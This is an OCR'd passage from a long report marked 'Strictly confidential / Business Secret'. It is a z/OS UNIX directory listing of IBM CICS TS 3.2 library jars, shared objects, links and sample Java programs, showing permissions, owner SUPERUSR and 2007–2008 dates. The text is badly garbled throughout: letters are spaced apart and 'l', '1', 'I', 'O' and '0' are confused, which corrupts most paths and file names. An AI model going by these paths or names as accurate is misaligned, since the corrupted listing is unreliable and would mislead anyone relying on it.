/ u s r / l pp / c l c s t s / c l c s t s 3 2 / l lb / w s d l  o l d / common . J a r 

hrwxrwx r - x  O SUPERUSR OMVS GRP O O c t  1 6  2 0 0 7  

/ u s r / lp p / c i c s t s / c i c s t s 3 2 / l i b / w s d l  o l d / I BM O L D / D F J@ H 1 7 8  l i n k  t o  

/ u s r / l pp / c l c s t s / c i c s t s 3 2 / l l b / w s d l  o l d / c ommon . r e s ou r c e s . J a r 

h rwxrwx r - x  O SUPERUSR OMVS GRP O O c t  1 6  2 0 0 7  

/ u s r / l p p / c i c s t s / c l c s t s 3 2 / l l b / w s d l_o l d / I BM_OL D / D F J@ H 1 7 9  l i n k  t o  

/ u s r / lpp / c l c s t s / c l c s t s 3 2 / l lb / w s dl o l d / e c o r e . change . J a r 

hrwxrwx r - x  0 SUPERUSR OMVS GRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s d l  o l d / I BM O L D / D F J@ H l 8 0  l i n k  t o  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / l ib / w s d l  o l d / e c o r e . j a r 

h rwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l p p / C l C S t S / C l C S t s 3 2 / l ib / w s d l  o l d / I BM_OL D / D F J@ H 1 8 2  l i n k  t o  

/ u s r / lpp / c l c s t s / c i c s t s 3 2 / l l b / w s dl o l d / w s dl 4 J . J a r 

hrwxrwx r - x  0 SUPERUSR OMVS GRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl o l d / I BM O L D / D F J @ H 1 8 3  l i n k  t o  

/ u s r / l pp / c l c s t s / c l c s t s 3 2 / l l b / w s d l  o l d / x s d . j a r 

hrwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c l c s t s / c i c s t s 3 2 / l l b / w s d l  o l d / I BM O L D / D F J @ H 1 8 4  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l i b / w s dl o l d / x s d . r e s ou r c e s . j a r 

hrwxrwx r - x  0 SUPERUSR OMVS GRP 0 Nov 7 2 0 0 8  

/ u s r / l pp / C l C S t s / C l C S t s 3 2 / l l b / w s d l  o l d / I BM O L D / D F J @ H 1 8 6  l i n k  t o  

/ u s r / l pp / C l C S t S / C l C S t s 3 2 / l lb / w s d l  o l d / DFHWS 2 L S  

hrwxrwx r - x  0 SUPERUSR OMVS GRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s d l  o l d / I BM O L D / D F J @ H 1 8 7  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s d l  o l d / D FHL S 2 W S  

- rwxrwx r - x  O S U P E RU S R  OMVS GRP 1 2 8 3 0 2  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s dl o l d / I BM_O L D / DF J @ H 2 2 9  

hrwxrwx r - x  0 S U P E RU S R  OMVS GRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl o l d / I BM_O L D / D F J@ H 2 3 0  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s d l  o l d / w o den . j a r 
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- rwxrwx r - x  O S U PE RU S R  OMVSGRP 5 7 9 0  O c t  1 6  2 0 0 7  

/ u s r / 1 p p / c i c s t s / c i c s t s 3 2 / 1 ib / w s d 1 o 1 d / I BM O L D / D F J @ H 2 3 1  

hrwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 i b / w s d1 o 1 d / N ame s p a c e C o n t e x t . J a r 1 i n k  t o  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1_o 1 d / I BM_OL D / D F J @ H 2 3 1  

h rwxrwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1 o 1 d / Xm1 S chema . j a r 1 i n k  t o  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1 o 1 d / I BM_OL D / DF J @ H 2 2 9  

- rwxrwx r - x  0 S UPERUSR OMVS GRP 5 7 3 5 9 9  O c t  1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / C TK i n s t a 1 1 e dR1 2 . j a r 
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drwxrwx r - x  0 S U PERU S R  OMVSGRP O O c t  16 2 0 0 7  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM /  

hrwxrwx r - x  0 S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1p p / c i c s t s / c i c s t s 3 2 / 1 i b / I B M / D FHAPJV 1  

1 i n k  t o  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / 1 i bdfhapj vmt . s o 

h rwxrwx r - x  O S U PE RU S R  OMVSGRP O O c t  16 2 0 0 7  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / DFHAPJV2 

1 l n k  t o  / u s r / 1 pp / c l c s t s / c l c s t s 3 2 / 1 l b / 1 l bdfhapJ vmt g . s o 

hrwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / I BM / D F H C D JN I  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / 1 ibdfhcdj n i . s o 

h rwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / DFHC D JN 2  

1 l n k  t o  / u s r / 1 pp / c l c s t s / c l c s t s 3 2 / 1 lb / 1 lbdfhcdJ n l  g . s o 

hrwxrwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 0 0 0  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / d f j c i c s . j a r 

hrwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 0 0 4  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / d f j wrap . j a r 

hrwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / I BM / D F J @ H 0 4 2  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / d f j o rb . j a r 

hrwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 0 4 3  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / d f j c dmn . j a r 

hrwxrwx r - x  O S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 i b / I BM / D F J @ H 0 5 7  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / d f j c s i . j a r 

hrwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / I BM / D F J @ H 0 5 8  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / d f j c o n t . j a r 

h rwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  16 2 0 0 7  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 0 6 0  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / d f j j t s . j a r 

hrwxrwx r - x  O S U PE RU S R  OMVSGRP O O c t  16 2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / I B M / D F J @ H 0 6 3  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / d f j c i c s r a s . j a r 

hrwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I B M / D F J @ H 0 6 8  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / C TK i n s t a 1 1 e dR1 2 . j a r 

h rwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 0 7 8  

1 i n k  t o  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 i b / omg c o s . j a r 

hrwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / I BM / D F J @ H 1 2 0  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / d f j n ame . j a r 

hrwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 1 3 4  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / r a s . j a r 

hrwxrwx r - x  0 S U PERU S R  OMVSGRP O O c t  16 2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 1 4 9  

1 i n k  t o  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 i b / d f j adj r . j a r 
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h rwxrwx r - x  O SUPE RU S R  OMVS GRP O Oct 1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 1 5 0  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / d f j c c i . j a r 

hrwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / I BM / D F J @ H 1 5 2  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / n s s r cm . j a r 

h rwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 1 5 3  

1 i n k  t o  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 i b / web s p h e r e . j a r 

h rwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 1 5 5  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / d f j e j b dd . j a r 

hrwxrwx r - x  O S U PERUSR OMVS GRP O O c t  1 6  2 0 0 7  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J @ H 1 6 8  

1 i n k  t o  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / d f j output . j a r 

hrwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / I B M / D F J D T C 0 1  

1 l n k  t o  / u s r / 1pp / c l c s t s / c i c s t s 3 2 / 1 l b / 1 l b c om_lbm_c l c s  s e rv e r  DTC . s o 

h rwxrwx r - x  O S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / I BM / D F J D T C 0 2  

1 i n k  t o  / u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / 1 i b c om_ibm_c i c s  s e rv e r  DT C_g . s o 

drwxrwx r - x  O S U PERUSR OMVSGRP 

drwxrwx r - x  O S U PERUSR OMVS GRP 

- rwxrwx r - x  0 S U PERUSR OMVS GRP 

O Oct 1 1  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s /  

O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i /  

6 4 1 3  O c t  1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / C I C S C o n n e c t i o n F a c t o r yPub1 i s h . j av a  

- rwxrwx r - x  0 SUPERUSR OMVSGRP 4 8 9 3  O c t  1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / C I C S C o n n e c t i o n F a c t o r yRe t r a c t . j ava 

- rwxrwx r - x  0 S U PERUSR OMVS GRP 1 1 0 3 6  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / C I C S CC I S amp 1 e . j ava 

- rwxrwx r - x  O S U PERUSR OMVS GRP 8 8 2 8  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / C I C S C C I S amp 1 e s . j a r 

drwxrwx r - x  O SUPERUSR OMVS GRP 

hrwxrwx r - x  0 S UPERU S R  OMVSGRP 

O O c t  1 6  2 0 0 7  / u s r / 1 p p / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / IBM/ 

O O c t  1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / I B M / D F J @ H 1 3 5  1 i n k  t o  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / C I C S C C I S amp 1 e s . j a r 

h rwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / I BM / D F J @ H 1 6 9  1 i n k  t o  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / C I C S C C I S amp 1 e . j ava 

hrwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / I BM / D F J @ H 1 7 0  1 i n k  t o  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / C I C S C o n n e c t i o n F a c t o r y Pub 1 i s h . j ava 

hrwxrwx r - x  0 S U PE RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / I B M / D F J @ H 1 7 1  1 i n k  t o  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / C I C S C o n n e c t i o n F a c t o ryRe t r a c t . j av a  

- rwxrwx r - x  O S U PERU S R  OMVSGRP 7 3 5 4  O c t  1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / I B M / D F J @ H 1 7 2  

hrwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / Java S t r i ngRe c o r d . j ava 1 i n k  t o  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / c c i / I B M / D F J @ H 1 7 2  

drwx r wx r - x  O SUPERUSR OMVSGRP 

drwx r wx r - x  O S U PERUSR OMVSGRP 

O O c t  1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / d f j c i c s /  

O O c t  1 1  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / d f j c i c s / e xamp 1 e s /  
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drwxrwx r - x  O SUPERUSR OMVSGRP O Feb 2 9  2 0 0 8  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / H e l l oWo r l d /  

- r w - r - - r - - O 3 4 6 4 4  OMVSGRP 7 2 0  Feb 2 9  2 0 0 8  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / H e l l oW o r l d / He l l o C I C S Wo r l d . c l a s s  

- rwxrwx r - x  O S U PERU S R  OMVSGRP 6 7 7  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp 1 e s / df j c i c s / e xamp l e s / H e l l oWo r l d / H e l l o C I C S Wo r l d . j ava 

- r w - r - - r - - O 3 4 6 4 4  OMVSGRP 7 6 3 Feb 2 9  2 0 0 8  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / H e l l oW o r l d / He l l oW o r l d . c l a s s  

- rwxrwx r - x  O SUPERUSR OMVSGRP 8 6 6  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / H e l l oWo r l d / He l l oW o r l d . j ava 

drwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / H e l l oW o r l d / I BM /  

hrwx rwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / H e l l oWo r l d / I BM / D F J @ H 0 1 7  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / H e l l oW o r l d / H e l l o C I C S Wo r l d . j ava 

hrwx rwx r - x  O SUPERUSR OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / H e l l oWo r l d / I BM / D F J @ H 0 1 8  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c i c s / e x amp l e s / H e l l oWor l d / He l l oWo r 1 d . j ava 

drwxrwx r - x  0 S U PE RU S R  OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / P r o g r amC o n t r o l /  

- rwxrwxr - x  0 SUPERUSR OMVS GRP 2 3 8 8  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c i c s / examp l e s / P r o g r amC o n t r o l / C l a s s Fo u r . j ava 

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 4 4 5 7 Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c i c s / e x amp l e s / P r o g r amC o n t r o l / C l a s s O n e . j ava 

- rwxrwx r - x  0 S U PE RU S R  OMVS GRP 4 6 9 0  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / P r o g r amC o n t ro l / C l a s s Th r e e . j av a  

- rwxrwx r - x  O S UPERUSR OMVSGRP 3 4 1 5  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / P r o g r amC o n t ro l / C l a s s Tw o . j av a  

drwxrwx r - x  0 SUPERUSR OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / P r o g ramCo n t r o l / IBM/ 

h rwxrwx r - x  0 SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  
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/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / P r o g ramC o n t r o l / I B M / D F J @ H 0 1 9  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / P r o g ramC o n t ro l / C l a s s O n e . j ava 

hrwxrwx r - x  O S U PE RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c i c s / e xamp l e s / P r o gramCo n t r o l / I BM / D F J@ H 0 2 0  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / examp l e s / P r o g ramC o n t r o l / C l a s s Tw o . j ava 

hrwxrwx r - x  O S U PE RU S R  OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / P r o g r amC o n t r o l / I BM / D F J @ H 2 0 9  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c i c s / e x amp l e s / P r o g r amC o n t r o l / C l a s s Th r e e . j av a  

h rwxrwx r - x  O S U PE RU S R  OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / P r o g r amCo n t r o l / I BM / D F J @ H 2 1 0  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / P r o g r amC o n t r o l / C l a s s Fo u r . j ava 

drwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / T D Q /  

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 6 6 5 7  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / T D Q / C l a s s 0n e . j av a  

drwxrwx r - x  O S U PE RU S R  OMVSGRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / T DQ / I BM /  
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hrwxrwx r - x  0 SUPERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / T D Q / I B M / D F J @ H 0 2 1  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / T DQ / C l a s s 0 n e . j ava 

drwxrwx r - x  O SUPERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / T S Q /  

- rwxrwx r - x  0 SUPERU S R  OMVS GRP 1 5 4 8  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / T S Q / C l a s s 0 n e . j av a  

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 1 2 5 4 0  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / T S Q / C ommo n . j av a  

drwxrwx r - x  0 SUPERU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / T S Q / IBM/ 

hrwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / T S Q / I B M / D F J @ H 0 2 2  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / T S Q / C l a s s 0 n e . j ava 

hrwxrwx r - x  O SUPERUSR OMV S GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s / T S Q / I BM / D F J @ H 0 2 3  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s / T S Q / C ommo n . j ava 

drwxrwx r - x  0 SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s /Web / 

drwxrwx r - x  0 SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s /Web / I BM /  

- rwxrwx r - x  O SUPERUSR OMVS GRP 1 7 9 9 5  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e xamp l e s /Web / I BM/ D F J @ H 1 6 5 

h rwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s /Web / S amp l e 1 . j av a  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / e x amp l e s /Web / I B M / D F J @ H 1 6 5  

- rwxrwx r - x  O SUPERUSR OMVS GRP 2 1 4 2  Feb 2 9  2 0 0 8  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c i c s / H e l l oW o r l d . ma k  

drwxrwx r - x  O SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I BM /  

hrwxrwx r - x  O SUPERUSR OMVSGRP O Feb 2 9  2 0 0 8  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I B M / D F J @ H 0 1 3  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / He l l oWo r l d . mak 

- rwxrwx r - x  0 SUPERUSR OMVS GRP 2 1 8 1  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I BM / D F J @ H 0 1 4  

- rwxrwx r - x  O SUPERUSR OMVS GRP 2 0 5 6  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I BM / D F J @ H 0 1 5  

- rwxrwx r - x  0 SUPERUSR OMVS GRP 2 0 9 9  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I B M / D F J @ H 0 1 6  

- rwxrwx r - x  O SUPERUSR OMVS GRP 2 0 6 9  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I BM / D F J @ H 0 2 4  

- rw x r wx r - x  O SUPERUSR OMVS GRP 1 9 8 0  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I BM / D F J @ H l 7 5  

hrwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s /Make f i l e  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I B M / D F J @ H 0 2 4  

Sidan 231 av 574 

Report 

Strict ly confi denti a l  l Bus i ness Secret l 



h rwxrwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / P r o g r amC o n t r o l . ma k  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I B M / D F J @ H 0 1 4  

hrwxrwx r - x  O SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / T DQ . ma k  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I B M / D F J @ H 0 1 5  

hrwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / T S Q . ma k  l i n k  t o  

/ u s r / lp p / c i c s t s / c i c s t s 3 2 / s amp l e s / df j c i c s / I B M / D F J @ H 0 1 6  

hrwxrwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / Web . ma k  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c i c s / I BM/ D F J @ H 1 7 5  

Sidan 232 a v  5 7  4 

Report 

drwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o rb /  

drwxrwx r - x  0 S U PERU S R  OMVSGRP O May 15 2 0 0 8  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / s amp l e s / d f j c o r b / B a n kAc c o u n t /  

